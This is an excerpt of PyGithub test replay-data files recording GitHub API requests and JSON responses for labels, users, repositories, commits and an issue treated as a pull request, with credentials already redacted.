pygithub-2.6.1/tests/ReplayData/Issue50.testSetIssueLabels.txt0000644000175100001660000000654014756101563023747 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '97'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4889'), ('server', 'nginx/1.0.13'), ('last-modified', 'Sat, 20 Oct 2007 11:24:19 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"147027ac86c95043e935b318f88c3683"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"} https GET api.github.com None /repos/jacquev6/PyGithub/labels/RequestedByUser {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '121'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4888'), ('server', 'nginx/1.0.13'), ('last-modified', 'Sat, 20 Oct 2007 11:24:19 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"147027ac86c95043e935b318f88c3683"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"} https GET api.github.com None /repos/jacquev6/PyGithub/labels/Label%20with%20spaces%20and%20strange%20characters%20%28%26%2A%23%24%29 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4887'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '197'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 28 Jun 2012 19:29:52 GMT'), ('connection', 'keep-alive'), ('etag', '"c536d81e7479c8c9acfa7deeddeb6e72"'), ('cache-control', 'private, max-age=60'), ('date', 'Thu, 28 Jun 2012 20:04:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"} https PUT api.github.com None /repos/jacquev6/PyGithub/issues/50/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["Bug", "RequestedByUser", "Label with spaces and strange characters (&*#$)"] 200 [('status', '200 OK'), ('content-length', '419'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4886'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"e1d0a1c54608a676af0cdc1f63e04da7"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 20:04:08 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue54.setUp.txt0000644000175100001660000000614214756101563021262 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '801'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4986'), ('server', 'nginx/1.0.13'), ('last-modified', 'Mon, 09 Jul 2012 06:49:53 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bd2b9dfc8ba65f7665102d6245a1593"'), ('cache-control', 'private, max-age=60'), ('date', 'Fri, 13 Jul 2012 19:06:43 GMT'), ('content-type', 'application/json; charset=utf-8')] {"html_url":"https://github.com/jacquev6","type":"User","email":"vincent@vincent-jacques.net","created_at":"2010-07-09T06:10:06Z","collaborators":0,"followers":13,"company":"Criteo","plan":{"collaborators":1,"space":614400,"private_repos":5,"name":"micro"},"hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","disk_usage":16468,"blog":"http://vincent-jacques.net","bio":"","public_gists":3,"total_private_repos":3,"public_repos":12,"private_gists":5,"name":"Vincent Jacques","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","owned_private_repos":3,"following":26,"location":"Paris, France","id":327146,"login":"jacquev6","url":"https://api.github.com/users/jacquev6"} https GET api.github.com None /repos/jacquev6/TestRepo {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1172'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 13 Jul 2012 18:48:49 GMT'), ('connection', 'keep-alive'), ('etag', '"385e2f22f9b54b1d56fc731de0d5c9bc"'), ('cache-control', 'private, max-age=60'), ('date', 'Fri, 13 Jul 2012 19:06:44 GMT'), ('content-type', 'application/json; charset=utf-8')] {"permissions":{"push":true,"admin":true,"pull":true},"open_issues":0,"clone_url":"https://github.com/jacquev6/TestRepo.git","ssh_url":"git@github.com:jacquev6/TestRepo.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146,"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225"},"description":"Test repository created around Fri, 13 Jul 2012 18:43:21 GMT, that is vendredi 13 juillet 2012 20:43:21 GMT+2","master_branch":"master","mirror_url":null,"has_issues":true,"html_url":"https://github.com/jacquev6/TestRepo","pushed_at":"2012-07-13T18:47:21Z","forks":1,"has_downloads":true,"created_at":"2012-07-13T18:45:21Z","full_name":"jacquev6/TestRepo","language":null,"size":96,"fork":false,"svn_url":"https://github.com/jacquev6/TestRepo","has_wiki":true,"watchers":1,"updated_at":"2012-07-13T18:48:49Z","name":"TestRepo","git_url":"git://github.com/jacquev6/TestRepo.git","private":false,"id":5023526,"homepage":null,"url":"https://api.github.com/repos/jacquev6/TestRepo"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue54.testConversion.txt0000644000175100001660000000247014756101563023207 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/TestRepo/git/commits/73f320ae06cd565cf38faca34b6a482addfc721b {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '676'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4984'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 13 Jul 2012 18:47:10 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ab832024b149674b5210a1a3b146575c"'), ('cache-control', 'private, max-age=60'), ('date', 'Fri, 13 Jul 2012 19:06:44 GMT'), ('content-type', 'application/json; charset=utf-8')] {"committer":{"email":"vincent@vincent-jacques.net","date":"2012-07-13T11:47:10-07:00","name":"Vincent Jacques"},"message":"Test commit created around Fri, 13 Jul 2012 18:43:21 GMT, that is vendredi 13 juillet 2012 20:43:21 GMT+2\n","sha":"73f320ae06cd565cf38faca34b6a482addfc721b","tree":{"sha":"52fe1ba4ac2b979c0a8fbeb9f87c1b1c9f177520","url":"https://api.github.com/repos/jacquev6/TestRepo/git/trees/52fe1ba4ac2b979c0a8fbeb9f87c1b1c9f177520"},"author":{"email":"vincent@vincent-jacques.net","date":"2012-07-13T11:47:10-07:00","name":"Vincent Jacques"},"parents":[],"url":"https://api.github.com/repos/jacquev6/TestRepo/git/commits/73f320ae06cd565cf38faca34b6a482addfc721b"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue572.setUp.txt0000644000175100001660000004253414756101563021354 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '1292'), ('x-runtime-rack', '0.070649'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"e95976f937b96c73935deac0a82c8733"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4971'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'E5DB:15E9B:473480:5D147D:59BFD788'), ('last-modified', 'Fri, 08 Sep 2017 16:01:32 GMT'), ('date', 'Mon, 18 Sep 2017 14:26:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1505747208')] {"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false,"name":"Shinichi TAMURA","company":null,"blog":"","location":"Japan","email":null,"hireable":null,"bio":null,"public_repos":11,"public_gists":1,"followers":4,"following":0,"created_at":"2013-03-04T04:54:58Z","updated_at":"2017-09-08T16:01:32Z","private_gists":0,"total_private_repos":0,"owned_private_repos":0,"disk_usage":18,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/tmshn/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '13966'), ('x-runtime-rack', '0.088780'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"0bfab9985eecbedd95fcca8a177c448b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'E5DC:15E9C:1DD158:26DEC2:59BFD789'), ('last-modified', 'Sun, 27 Nov 2016 13:31:42 GMT'), ('date', 'Mon, 18 Sep 2017 14:26:18 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1505747208')] {"id":70329851,"name":"PyGithub","full_name":"tmshn/PyGithub","owner":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/tmshn/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/tmshn/PyGithub","forks_url":"https://api.github.com/repos/tmshn/PyGithub/forks","keys_url":"https://api.github.com/repos/tmshn/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tmshn/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tmshn/PyGithub/teams","hooks_url":"https://api.github.com/repos/tmshn/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/tmshn/PyGithub/events","assignees_url":"https://api.github.com/repos/tmshn/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/tmshn/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/tmshn/PyGithub/tags","blobs_url":"https://api.github.com/repos/tmshn/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tmshn/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tmshn/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/tmshn/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/tmshn/PyGithub/languages","stargazers_url":"https://api.github.com/repos/tmshn/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/tmshn/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/tmshn/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/tmshn/PyGithub/subscription","commits_url":"https://api.github.com/repos/tmshn/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/tmshn/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/tmshn/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/tmshn/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/tmshn/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tmshn/PyGithub/merges","archive_url":"https://api.github.com/repos/tmshn/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tmshn/PyGithub/downloads","issues_url":"https://api.github.com/repos/tmshn/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/tmshn/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/tmshn/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/tmshn/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tmshn/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/tmshn/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/tmshn/PyGithub/deployments","created_at":"2016-10-08T12:30:45Z","updated_at":"2016-11-27T13:31:42Z","pushed_at":"2017-09-18T14:24:41Z","git_url":"git://github.com/tmshn/PyGithub.git","ssh_url":"git@github.com:tmshn/PyGithub.git","clone_url":"https://github.com/tmshn/PyGithub.git","svn_url":"https://github.com/tmshn/PyGithub","homepage":"http://pygithub.readthedocs.io/en/stable/","size":12187,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":1,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2017-09-18T05:44:02Z","pushed_at":"2017-09-18T14:22:09Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"","size":12152,"stargazers_count":1430,"watchers_count":1430,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":498,"mirror_url":null,"open_issues_count":196,"forks":498,"open_issues":196,"watchers":1430,"default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2017-09-18T05:44:02Z","pushed_at":"2017-09-18T14:22:09Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"","size":12152,"stargazers_count":1430,"watchers_count":1430,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":498,"mirror_url":null,"open_issues_count":196,"forks":498,"open_issues":196,"watchers":1430,"default_branch":"master"},"network_count":498,"subscribers_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue572.testIssueAsPullRequest.txt0000644000175100001660000004361714756101563024741 0ustar00runnerdockerhttps GET api.github.com None /repos/tmshn/PyGithub/issues/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '1930'), ('x-runtime-rack', '0.093117'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"ae937c52e48359e25263e774150f5b9e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'E5D9:15E9B:4733D1:5D139F:59BFD786'), ('last-modified', 'Mon, 18 Sep 2017 14:25:14 GMT'), ('date', 'Mon, 18 Sep 2017 14:26:15 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1505747208')] {"url":"https://api.github.com/repos/tmshn/PyGithub/issues/2","repository_url":"https://api.github.com/repos/tmshn/PyGithub","labels_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/comments","events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/events","html_url":"https://github.com/tmshn/PyGithub/pull/2","id":258498982,"number":2,"title":"[PR for TEST] Issue to pull","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2017-09-18T14:24:05Z","updated_at":"2017-09-18T14:25:14Z","closed_at":null,"author_association":"OWNER","pull_request":{"url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2","html_url":"https://github.com/tmshn/PyGithub/pull/2","diff_url":"https://github.com/tmshn/PyGithub/pull/2.diff","patch_url":"https://github.com/tmshn/PyGithub/pull/2.patch"},"body":"This pr is created to used for automated acctest.\r\nAfter I recorded the replay data, this will be closed.","closed_by":null} https GET api.github.com None /repos/tmshn/PyGithub/pulls/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '13858'), ('x-runtime-rack', '0.364592'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"c734b968529b43c1dafb7f9d20e0c8e8"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'E5DA:15E9B:47340D:5D13E9:59BFD787'), ('last-modified', 'Mon, 18 Sep 2017 14:25:14 GMT'), ('date', 'Mon, 18 Sep 2017 14:26:16 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1505747208')] 